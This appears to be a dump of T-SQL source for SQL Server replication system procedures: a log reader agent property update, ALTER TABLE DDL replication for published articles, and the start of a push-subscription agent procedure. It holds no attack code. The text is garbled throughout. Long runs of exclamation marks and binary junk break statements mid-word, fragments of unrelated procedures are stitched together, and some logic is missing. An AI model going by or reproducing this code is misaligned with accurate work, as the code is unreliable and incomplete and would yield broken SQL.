			BEGIN
				-- The specified '@publisher_security_mode' is invalid (valid values are: 0, 1).
				RAISERROR(14266, 16, -1, '@publisher_security_mode', '0, 1')
				RETURN 1
			END

			-- make sure that the login is valid
			SELECT @publisher_login = RTRIM(LTRIM(ISNULL(@publisher_login, '')))
			IF @publisher_security_mode = 0 AND @publisher_login = ''
			BEGIN
				-- '@publisher_login cannot be null or empty when @publisher_security_mode is set to 0 (SQL Server authentication).'
				RAISERROR(21694, 16, -1, '@publisher_login', '@publisher_security_mode')
				RETURN 1
			END
		END

		IF @job_login IS NOT NULL
		BEGIN
			IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
			BEGIN
				-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_changelogreader_agent'.
				RAISERROR(21797, 16, -1, '@job_login', 'sp_changelogreader_agent')
				RETURN 1
			END
		END
	END
	-- HETERO
	ELSE
	BEGIN
		IF @publisher_security_mode IS NOT NULL
		BEGIN
			-- The @publisher_security_mode parameter value can not be updated/changed for heterogeneous publications.
			RAISERROR(22536, 16, -1, '@publisher_security_mode')
			RETURN 1
		END

		IF @publisher_login IS NOT NULL
		BEGIN
			-- The @publisher_login parameter value can not be updated/changed for heterogeneous publications.
			RAISERROR(22536, 16, -1, '@publisher_login')
			RETURN 1
		END

		-- It is reasonable to expect that periodically, the password associated with the Oracle replication administrator
		-- will need to be changed.  This allows the logreader agent to be updated to reflect that change. Bug 381331.
		-- IF @publisher_password IS NOT NULL
		-- BEGIN
		--	-- The @publisher_password parameter value can not be updated/changed for heterogeneous publications.
		--	RAISERROR(22536, 16, -1, '@publisher_password')
		--	RETURN 1
		-- END

		/*
		** In this case we will allow @job_login to be changed only if the 
		** publisher_security_mode was set to 0 when the distpublisher was 
		** configured. Error is raised in sp_MSchange_logreader_agent_properties.
		*/
		-- IF @job_login IS NOT NULL
		-- BEGIN
		-- 	-- The @job_login parameter value can not be updated/changed for heterogeneous publications.
		-- 	RAISERROR(22536, 16, -1, '@job_login')
		-- 	RETURN 1
		-- END
	END

	-- retrieve the distribution database name			
	EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor_rpc OUTPUT,
											@distribdb = @distribution_db OUTPUT,
											@publisher = @publisher
	IF @@error <> 0 or @retcode <> 0 or @distribution_db is NULL
	BEGIN
		-- "The Distributor has not been installed correctly."
		RAISERROR(20036, 16, -1)
		RETURN 1
	END
			
	SELECT @procedure = QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSreplagentjobexists'
	EXEC @retcode = @procedure @type = 2,
								@exists = @logreader_exists OUTPUT,
								@publisher = @publisher,
								@publisher_db = @publisher_db,
								@proxy_id = @proxy_id OUTPUT
	IF @retcode <> 0 OR @@ERROR <> 0
		RETURN 1
	
	-- EXIT if NOT FOUND
	IF @logreader_exists = 0
	BEGIN	
		declare @publishingservername sysname
		set @publishingservername = publishingservername()
		-- "The logreader agent for publisher (%s), database (%s), publication (%s) could not be found."
		RAISERROR(21799, 16, -1, 'logreader', @publishingservername, @publisher_db, 'all')
		RETURN 1
	END

	IF IS_SRVROLEMEMBER('sysadmin') != 1
		AND @proxy_id IS NULL
	BEGIN
		-- Only members of the sysadmin fixed server role can modify a logreader agent that does not have a job with a proxy account defined.
		RAISERROR(20813, 16, -1, 'logreader agent')
		RETURN 1
	END
	
	-- if any parameter was provide then perform the update
	IF @job_login IS NOT NULL
		OR @job_password IS NOT NULL
		OR @publisher_security_mode IS NOT NULL
		OR @publisher_login IS NOT NULL
		OR @publisher_password IS NOT NULL
	BEGIN
		-- Schedule Log Reader agent for the database
		SELECT @procedure = QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSchange_logreader_agent_properties'	

		EXEC @retcode = @procedure @publisher = @publisher, 
									@publisher_db = @publisher_db,
									@publisher_security_mode = @publisher_security_mode,
									@publisher_login = @publisher_login,
									@publisher_password = @publisher_password,											
									@job_login = @job_login,
									@job_password = @job_password,
									@publisher_type = @publisher_type
		IF @@ERROR <> 0 or @retcode <> 0
			RETURN 1
	END

	RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	6v~id int)
	if @@ERROR <> 0
	begin
		goto FAILURE
	end			
	insert #artcols (artid, colid) select distinct artid, colid from sysarticlecolumns

	--get exclusive app lock on publications so to avoid concurrency issue with ccsnapshot
    exec @retcode = sys.sp_MSprep_exclusive @qual_object_name, @objid
    if @@ERROR<>0 or @retcode <> 0
        goto FAILURE

	--loop through relavent publications/articles
	DECLARE #trancolumn CURSOR LOCAL FAST_FORWARD FOR 
		select distinct 	a.artid 																				-- article id
								,a.name 																			-- article name
								,p.name 																			-- pulication name
								,p.pubid 																			-- publication id
								,p.replicate_ddl 																-- replicate DDL or not 
								,p.sync_method 																-- native or char BCP
								,a.status																			-- article status
								,convert(bigint, schema_option) 	-- article schema option
								,case len(isnull(a.dest_owner, '')) when 0 then N''
																						else quotename(a.dest_owner) + N'.' 
																						end
								+ case len(isnull(a.dest_table, '')) when 0 then @qual_object_name
																						else quotename(a.dest_table) 
																						end
								,a.dest_owner
								,p.options
								,a.objid
			from sysarticles a 
			join syspublications p on a.pubid = p.pubid 
			where a.objid=@objid
			or ((@subtype & @subtype_switch) > 0 and @switch_targetobjid is not null and a.objid=@switch_targetobjid)

	OPEN #trancolumn
	FETCH #trancolumn INTO @tran_artid
										,@artname
										,@pubname
										,@pubid
										,@replicate_ddl
										,@sync_method
										,@art_status
										,@schema_option
										,@qual_dest_object
										,@dest_owner
										,@tran_pub_options
										,@art_objid
	WHILE (@@fetch_status <> -1)
	BEGIN
		-- if publication does not replicate DDL, and it's not a drop/alter column action, goto next publication
		-- always replicate drop/alter column as long as partition has it
		if(	(@replicate_ddl & @include_ddl <> @include_ddl)  and
			(@subtype & (@subtype_dropcolumn | @subtype_altercolumn) = 0))

		--alter table enable/disable trigger, don't post anything unless the trigger was replicated by snapshot
		--should be safe to do it here, it's not possible to add/drop/alter column and enable/disable trigger
		--in the same DDL anyway
			or (@subtype & (@subtype_enabletrigger | @subtype_enabletriggerall |										@subtype_disabletrigger | @subtype_disabletriggerall) > 0 
						and @schema_option & 0x0000000000000100 = 0)
		-- If this is a partition switch, we know by this point that allow_partition_switch = 1, so we check 
		--  whether or not we're going to replicate it, if not we just continue to the next publication
			or ((@subtype & @subtype_switch) > 0 and @tran_pub_options & @OPT_REPLICATE_PARTITION_SWITCH != @OPT_REPLICATE_PARTITION_SWITCH) 
		begin
			goto FETCHMORE
		end 		

		if exists(select * from syssubscriptions where artid = @tran_artid and status =  @subscription_active)
			select @sub_status = @subscription_active
		else
			select @sub_status = @sub_status & ~@subscription_active
			
		-- #tran_columnstable to hold affected colid for add/drop, this table is accessed by 
		-- sp_articlecolumn to update sysarticlecolumns
		-- sp_addsynctriggers to script calls to update sysarticlecolumns on subscriber (for queued)
		truncate table #tran_columnstable 

		--reset inpartition bit for current article
		update #tran_altertable set inpartition = 0		
		
		--reset local variable to indicate whether DDL dropped any column from current partition
		select @dropped_artcolumn_counts  = 0
				,@break_artdrop_into_singles = 0
		
		--add column, populate #tran_columnstable with columns in #tran_altertable
		if (@subtype & @subtype_addcolumn > 0)
		begin
			insert into #tran_columnstable select t.ColumnName, sc.column_id 
						from #tran_altertable t 
						join sys.columns sc on t.ColumnName = sc.name 
						where t.EnumType = @subtype_addcolumn 
						and sc.object_id = @objid
			if @retcode <>0 or @@ERROR<>0
				goto DROPTRAN

			--if article is supposed to replicate timestamp as timestamp, 
			--but it didn't have a timestamp column before current DDL, must check and see if we are adding one
			if (@schema_option & 0x0000000000000008 = 0x0000000000000008 and @art_status & 32 <> 32)
				and @timestampcol_column_id is not null
			begin 
				update sysarticles set status = status | 32	where artid = @tran_artid and objid = @objid 
			end		
			-- Special check for identity based article with SQL call format
			-- column specification bit 8 in status should be set - this is needed
			-- Shiloh server for NFR processing during insert
			--
			if (@addidentitycol is not NULL)
				update sysarticles set status = status | 8 where artid = @tran_artid and objid = @objid
									and upper(ins_cmd) = N'SQL'  and (status & 8 != 8)

		end
		--drop column, populate #tran_columnstable with diffs between sysarticlecolumns and sys.columns  
		else if (@subtype & @subtype_dropcolumn > 0)
		begin 
			insert into #tran_columnstable select N'', sac.colid 
								from sysarticlecolumns sac
								where sac.artid = @tran_artid
								and sac.colid not in (select column_id from sys.columns where object_id = @objid)
			if @retcode <>0 or @@ERROR<>0
				goto DROPTRAN

			select @dropped_artcolumn_counts = count(*) from #tran_columnstable
	
			--articles who replicate timestamp as timestamp does do by some special logic where
			--timestamp column is not added in article partition according to sysarticlecolumn 
			--when drop happens we need to figure out whether timestamp column was being dropped
			if (@schema_option & 0x0000000000000008 = 0x0000000000000008 and @art_status & 32 = 32)
				and @timestampcol_column_id is null
			begin 
				update sysarticles set status = status & ~32 where artid = @tran_artid and objid = @objid 
				select @dropped_artcolumn_counts = @dropped_artcolumn_counts + 1
				--just in case system  is 
				set @break_artdrop_into_singles = 1
				set @refresh_synctran_procs = 2
			end 
			--if our partition does not contain the columns being dropped here
			--and if the same DDL cmd does not drop any constraint, we are done for this article

			if (@break_drop_into_singles = 0) -- meaning DDL does not contain dropconstraints
			begin
				if (@dropped_artcolumn_counts = 0)
				begin
					--if we didn't drop any column for this article, and there is no dropconstriants here, go to next article
					goto FETCHMORE
				end
				-- dropped some column from this article, now find out if it dropped anything not in this article
				-- so we know whether the original DDL can be sent as such or broken down to singles, 
				-- note this only matters if there is no dropconstraint, otherwise we have to break into singles
				else if @dropped_column_counts > @dropped_artcolumn_counts
				begin 
					set @break_artdrop_into_singles = 1
				end
			end
		end
		--alter column, no need to change sysarticlecolumns on pub/sub side 
		--but we do need to refresh proc/trigger/conf table on publisher for updateable pubs
		else if @subtype & @subtype_altercolumn > 0
		begin
			--can't alter timestamp column anyway, no need to worry about it here
			insert into #tran_columnstable select t.ColumnName, sc.column_id
						from #tran_altertable t 
						join sys.columns sc on t.ColumnName = sc.name 
						join sysarticlecolumns sac on sac.colid = sc.column_id
						where t.EnumType = @subtype_altercolumn 
						and sc.object_id = @objid and sac.artid = @tran_artid
			if @retcode <>0 or @@ERROR<>0
				goto DROPTRAN

			--if alter column does not concern this article, go to next one
			--assuming alter column can not live in the same DDL as others
			if not exists (select * from #tran_columnstable)
			begin		
				goto FETCHMORE
			end

			if exists (s!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	#-5v~elect * from sysarticlecolumns sac 
										join #tran_columnstable tc on sac.colid = tc.colid
							where sac.artid = @tran_artid and 
										(sac.is_xml = 1 or sac.is_max = 1 or sac.is_udt = 1))
			begin
				--can not alter udt/xml/max if mapped to base
				if(	@sub_status = @subscription_active 
					and exists (select * from sysarticlecolumns sac 
											join #tran_columnstable tc on sac.colid = tc.colid
								where sac.artid = @tran_artid and 
											((sac.is_xml = 1 and @schema_option & 0x0000000010000000 > 0) --map xml to ntext
											or (sac.is_udt = 1 and @schema_option & 0x0000003000000020 > 0) --map udt to image, ludt to vbmax, hierarchyid to vbmax
											or (sac.is_max = 1 and @schema_option & 0x0000000020000000 > 0)) ))--map max to blob
					begin 
		        		RAISERROR (21844, 16, -1, @artname)
						goto DROPTRAN
					end
			end
			--otherwise be sure to update sysarticlecolumns to these bits flag are kept to date.
			update sysarticlecolumns set is_udt = 	case typ.system_type_id when 240 then 1 else 0 end
															,is_xml =	case typ.name when N'xml' then 1 else 0 end
															,is_max = case when typ.name in (N'varchar', N'nvarchar', N'varbinary') and  col.max_length = -1 then 1 else 0 end																
					from sysarticlecolumns sac 
							join sys.columns col on col.column_id = sac.colid
							join sys.types typ on typ.user_type_id = col.system_type_id or (typ.system_type_id = 240 and typ.user_type_id = col.user_type_id)
							where col.object_id = @objid and sac.artid = @tran_artid 
		end
		else if (@subtype & @subtype_switch > 0)
		begin

			--set @is_flushon to 1 so that sp_replflush is called to flush article cache
			if(@is_flushon = 0)
			begin		
				select @is_flushon = 1
			end

			-- We have three cases to deal with here:
			--  Source and Destination Table are both published - we use the source article id, and supress for the destination article
			--  Source table only is published - we use the source article id
			--  Destination table only is published - we use the destination article id
			
			-- Check to see if both the source and destination tables are in the same publication and if we're viewing the target tables
			--  row in sysarticles, if so, we know that we'll post the command for the source table so we ignore it
			if @art_objid != @objid
				and exists (select * from dbo.sysarticles a 
						inner join dbo.syspublications p on a.pubid = p.pubid 
						where p.pubid=@pubid and a.objid=@objid and p.options & @OPT_REPLICATE_PARTITION_SWITCH = @OPT_REPLICATE_PARTITION_SWITCH)
			begin
				goto FETCHMORE
			end

			--Check to see if there are any active subscribers, if so, then post DDL to log, if not, return 0
			if exists (SELECT * FROM dbo.sysarticles A join dbo.syssubscriptions S on A.artid = S.artid
							WHERE A.artid = @tran_artid and S.status = @subscription_active and S.srvid<>-1)
				begin
					if @art_objid != @objid
					begin
						-- We don't support renamed tables right now, so usage of @art_objid is fine here
						select @qual_dest_object = quotename(object_schema_name(@objid)) + N'.' + quotename(object_name(@objid)) 
					end

					select @temp_ddlcmds = N'ALTER TABLE ' 
									+ @qual_dest_object + N' '
									+ @pass_through_scripts
					exec @retcode = sys.sp_MStran_autoproc  @artid = @tran_artid
														,@mode = 0
				  										,@ddlcmd = @temp_ddlcmds
					goto FETCHMORE
				end
			goto FETCHMORE
		end
		-- add/drop/alter column update article metadata
		if (@dropped_artcolumn_counts  > 0 
			or 
			@subtype & (@subtype_addcolumn |@subtype_altercolumn) > 0) 
		begin
			-- add/drop column, 
			-- overload is_biton to keep track of whether schema_start_lsn has been set
			-- do it here instead of outside of this if block, because it needs to happen before 
			-- sp_MSrepl_articlecolumn, and it only needs to happen if sp_MSrepl_articlecolumn
			-- is going to be called for active articles.
			if (@is_biton = 0) 
			and exists (select * from #tran_columnstable)
			and (@sub_status = @subscription_active)
			begin
					exec @retcode = sys.sp_replincrementlsn_internal @schema_start_lsn OUTPUT
					if @@ERROR<>0 or @retcode <> 0
					begin
						goto DROPTRAN
					end
					select @is_biton = 1
			end			

			-- sp_articlecolumn updates sysarticlecolumns base on #tran_columnstable,
			-- it also calls sp_articlesyncprocs with @alter = 1 to refresh the following 
			-- objects on publisher for updatable subscriptions:
			--		sync_procs (ins, del, upd)
			--		sync_trigger
			--		conflict table
			--		conflict proc
			select @operation = case @dropped_artcolumn_counts 
	 														when 0 then case @subtype & (@subtype_addcolumn |@subtype_altercolumn)
				 																		when @subtype_addcolumn then 'add'
									 													when @subtype_altercolumn then 'alter'
	 																			end
	 														else 'drop'
	 												end
			exec @retcode = sys.sp_MSrepl_articlecolumn 	@publication = @pubname
							,@article = @artname
							,@column = NULL
	 						,@operation = @operation
	 						,@refresh_synctran_procs = @refresh_synctran_procs
							,@change_active = 2
							,@force_invalidate_snapshot = 1
							,@force_reinit_subscription = 1
							,@internal = 1
			if @retcode <>0 or @@ERROR<>0
				goto DROPTRAN	
		end

		if	((@schema_option & 0x000000B000000020) <> 0) and
		exists (select * from sys.columns where object_id = @objid and system_type_id = 240)
		begin
			if (sys.fn_MSrepl_dependUDT(@objid, @schema_option, @tran_artid)  = 1)
			begin
	           raiserror (21840, 16, 1, @qual_object_name, @artname)
				goto DROPTRAN
			end
		end
		-- no active subscription, just update articlecolumns for add/drop column, no need to reinit or post anything
		if @sub_status <> @subscription_active
		begin		
			goto FETCHMORE
		end

		--reinit if publication may have non-sql subscription, or adding timestamp column
		if @sync_method = @bcp_char
			or
			-- in case of add timestamp column, only reinit if user want it to be replicated as binary(8)
			( (@addtimestampcol is not NULL)
			and (@schema_option & 0x0000000000000008 = 0))
			or
			-- same idea, if identity is not replicated as identity, force reinit for the lack of column
			-- level snapshot
			( (@addidentitycol is not NULL)
			and (@schema_option & 0x0000000000000004 = 0))
		begin 
           raiserror (21841, 10, 1, @pubname, @artname)
			exec @retcode = sys.sp_MSreinit_article 
					@publication = @pubname
					,@article = @artname
					,@need_new_snapshot = 1
					,@need_reinit_subscription = 1
					,@force_invalidate_snapshot = 1
					,@force_reinit_subscription = 1

			if @retcode <>0 or @@ERROR<>0
				goto DROPTRAN

			--once we reinit the article, no need to post anything, let's go to next article
			goto FETCHMORE
		end

		--if replicating timestamp as timestamp, insert the column in #artcols if applicable
		--bugbug this query may bring back multiple rows of timestamp if computed column is used
		--I suspect it will break other things as well but come back here and handle this at least
		if(@schema_option & 0x0000000000000008 = 0x0000000000000008 and	@timestampcol_column_id is not null)
		begin
			insert #artcols (artid, colid) values ( @tran_artid, @timestampcol_column_id )
		end

		if(@debug_print = 1)
			select 'stage' = 'before set inpartition:', * from #tran_altertable
			
		update #tran_altertable set inpartition = 1 where ColumnName not in
			(select distinct constraint_name from #basecol_cnst 
					where constraint_column_id not in (select colid from #artcols where artid = @tran_artid))
					
		if(@debug_print = 1)
			select 'stage' = 'after set inpartition:', * from #tran_altertable

	
		select @temp_ddlcmds = N''

		if (@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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<g	-/4~altercolumn now that we always break alter into single cmd for existance check
		or (@subtype & @subtype_altercolumn > 0) 
		begin 
			exec @retcode = sys.sp_MSfixup_single_artddls @objid = @objid 
																						,@schema_option = @schema_option
																						,@subtype_altercolumn = @subtype_altercolumn
																						,@subtype_addcolumn = @subtype_addcolumn
																						,@debug_print = @debug_print
			if @retcode <>0 or @@ERROR<>0
				goto DROPTRAN
		end

		if ((@subtype & @subtype_dropcolumn ) > 0)
			and (@break_drop_into_singles = 0 )
			and (@break_artdrop_into_singles = 0)
		begin
			--if DDL is about dropping columns, with nothing fancy which reauires breaking DDL into individual cmds
			--the only pre-step is to drop defaults on these columns first (re. @drop_defaults_only = 1)
			exec @retcode = sys.sp_MSbuild_single_post @objid = @objid
													,@tran_artid = @tran_artid
													,@tran_pub_options = @tran_pub_options
													,@qual_dest_object = @qual_dest_object 
													,@qual_p2p_conflict_table = @qual_p2p_conflict_table 
													,@subtype_dropcolumn = @subtype_dropcolumn
													,@subtype_dropconstraint = @subtype_dropconstraint
													,@drop_defaults_only = 1
													,@debug_print = @debug_print
		end
		
		if (@break_drop_into_singles = 1)				-- containts drop/enable/disable constraints, enable/disable triggers
			or (@break_artdrop_into_singles = 1)	-- drops some column in our partition, some out, or timestamp column
			or (@break_add_into_singles = 1)
		begin
			select @checkpartition_mask = @subtype_enableconstraint | 
																@subtype_disableconstraint | 
																@subtype_addun | 
																@subtype_addchk | @subtype_adddf
						,@checkadds_mask = @subtype_addcolumn | @subtype_altercolumn | 
																@subtype_addun | @subtype_addchk | @subtype_adddf
			exec @retcode = sys.sp_MSbuild_single_post @objid = @objid
													,@tran_artid = @tran_artid
													,@tran_pub_options = @tran_pub_options
													,@qual_dest_object = @qual_dest_object 
													,@qual_p2p_conflict_table = @qual_p2p_conflict_table 
													,@checkpartition_mask = @checkpartition_mask
													,@checkadds_mask = @checkadds_mask
													,@subtype_dropcolumn = @subtype_dropcolumn
													,@subtype_dropconstraint = @subtype_dropconstraint
													,@subtype_enabletrigger = @subtype_enabletrigger
													,@subtype_disabletrigger = @subtype_disabletrigger
													,@subtype_enableconstraint = @subtype_enableconstraint
													,@subtype_disableconstraint = @subtype_disableconstraint
													,@subtype_altercolumn = @subtype_altercolumn
													,@dest_owner = @dest_owner
													,@debug_print = @debug_print
			if @retcode <>0 or @@ERROR<>0
				goto DROPTRAN
			--add fk after adding all other constraints (such as un) so the order is not random, 
			--otherwise if un which fk is depending on is created after fk, the fk will not get created
			exec @retcode = sys.sp_MSbuild_single_post @objid = @objid
													,@tran_artid = @tran_artid
													,@qual_dest_object = @qual_dest_object 
													,@checkpartition_mask = @subtype_addfk 
													,@subtype_addfk = @subtype_addfk
													,@debug_print = @debug_print
			if @retcode <>0 or @@ERROR<>0
				goto DROPTRAN
		end
		else
		begin
			-- set up the ddl command to be posted to the log
			select @temp_ddlcmds = N'ALTER TABLE ' 
									+ @qual_dest_object + N' '
									+ @pass_through_scripts
		end
		--question: how do we know if dropcolumn/altercolumn did not touch any column in our partition hence skip the post?
		--if altercolumn did not touch anything in current article partition, we'd long jumped to FETCHMORE without getting here
		--@dropped_artcolumn_counts tells us if any column was dropped from our partition
		select @mode = case @dropped_artcolumn_counts 
										when 0 then 
													case @subtype & (@subtype_addcolumn |@subtype_altercolumn)
																when 0 then 0
																else 1
														end
											else 1
									end

		exec @retcode = sys.sp_MStran_autoproc @artid = @tran_artid
												,@mode = @mode
				  								,@ddlcmd = @temp_ddlcmds

		if @retcode <>0 or @@ERROR<>0
			goto DROPTRAN

FETCHMORE:
	FETCH #trancolumn INTO @tran_artid
										,@artname
										,@pubname
										,@pubid
										,@replicate_ddl
										,@sync_method
										,@art_status
										,@schema_option
										,@qual_dest_object
										,@dest_owner
										,@tran_pub_options
										,@art_objid
	END
	CLOSE #trancolumn
	DEALLOCATE #trancolumn

	--@is_biton should have been set for the first active article affected by add/alter column
	if (@is_biton = 1)
	begin
		--
		--log a REPL_NOOP row to get back current LSN
		--
		exec @retcode = sys.sp_replincrementlsn_internal @schema_end_lsn OUTPUT
		if @@ERROR<>0 or @retcode <> 0
			goto FAILURE

		--
		--sp_replcmds will scan between these two LSNs to pick up the previous image
		--of article cache for this particular DDL, either one being null will cause it
		--to fail with 9003/9004, we should check here and avoid writing nulls
		--
		if (@schema_start_lsn is not null) and (@schema_end_lsn is not null)
		begin
			--
			--sp_replcmds scans systranschemas for these pairs of LSNs in the scan pass of logscan
			--to build schema version list
			--
			insert systranschemas (tabid, startlsn, endlsn, typeid) values (@objid, @schema_start_lsn, @schema_end_lsn, 51)
			if @@ERROR<>0
				goto FAILURE
			--
			--calling sp_replflush so that it has a chance to inform in-memory article cache
			--if sp_replcmds is already running and is after the article cache building phase
			--

			exec @retcode = sys.sp_replflush @objid, @schema_start_lsn, @schema_end_lsn
			if @@ERROR<>0 or @retcode <> 0
				goto FAILURE
		end
		else
			goto FAILURE
	end

	if (@is_flushon = 1)
	begin
		exec @retcode = sys.sp_replflush
		if @@ERROR<>0 or @retcode <> 0
			goto FAILURE
	end
	

	commit tran replddl_altertable
	return 0

DROPTRAN:
	CLOSE #trancolumn
	DEALLOCATE #trancolumn

FAILURE:
	rollback tran replddl_altertable 
	commit tran
	return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
q1Bvu@CREATE PROCEDURE sys.sp_MSrepl_addpushsubscription_agent
(
	@publication					sysname,
	@subscriber 					sysname,
	@subscriber_db					sysname,
	@subscriber_security_mode		smallint,
	@subscriber_login				sysname,
	@subscriber_password			sysname,
	@job_login						nvarchar(257),
	@job_password					sysname,
	@job_name						sysname,
	@frequency_type 				int,
	@frequency_interval 			int,
	@frequency_relative_interval	int,
	@frequency_recurrence_factor	int,
	@frequency_subday				int,
	@frequency_subday_interval		int,
	@active_start_time_of_day		int,
	@active_end_time_of_day 		int,
	@active_start_date				int,
	@active_end_date				int,
	@dts_package_name				sysname,
	@dts_package_password			sysname,
	@dts_package_location			nvarchar(12),
	@enabled_for_syncmgr			nvarchar(5),
	@distribution_job_name			sysname,
	@publisher						sysname,
	@publisher_type 				sysname,
	@subscriber_provider			sysname,
	@subscriber_datasrc				nvarchar(4000),
	@subscriber_location			nvarchar(4000),
	@subscriber_provider_string		nvarchar(4000),
	@subscriber_catalog				sysname
)
AS
BEGIN
	SET NOCOUNT ON

    DECLARE @retcode                        int,
            @procedure                      nvarchar(4000),
            @distributor                    sysname,
            @distributor_rpc                sysname,
            @distribution_db                sysname,
            @publisher_db                   sysname,
            @pubid                          int,
            @publication_name               sysname,
            @distagent_exists               bit,
            @distrib_job_name               sysname,
            @proxy_id                       int,
            @dsn_dbname                     sysname,
            @subscriber_type                int,
            @dist_publisher_id              int,
            @dist_subscriber_id             int,
            @subscriber_id                  int,
            @dts_location                   int,
            @allow_dts                      int,
            @sync_method                    int,
            @independent_agent              int,
            @subscription_id                uniqueidentifier,
            @non_sql_subscriber             int,
            @distribution_jobid             varbinary(16),
            @CHAR_BCP                       int,
            @CONCURRENT_CHAR                int,
            @DATABASE_SNAPSHOT_CHARACTER     int,
            @SUBSCRIBER_BIT                 smallint,
            @publisher_local                sysname
			
	SELECT @SUBSCRIBER_BIT = 4,
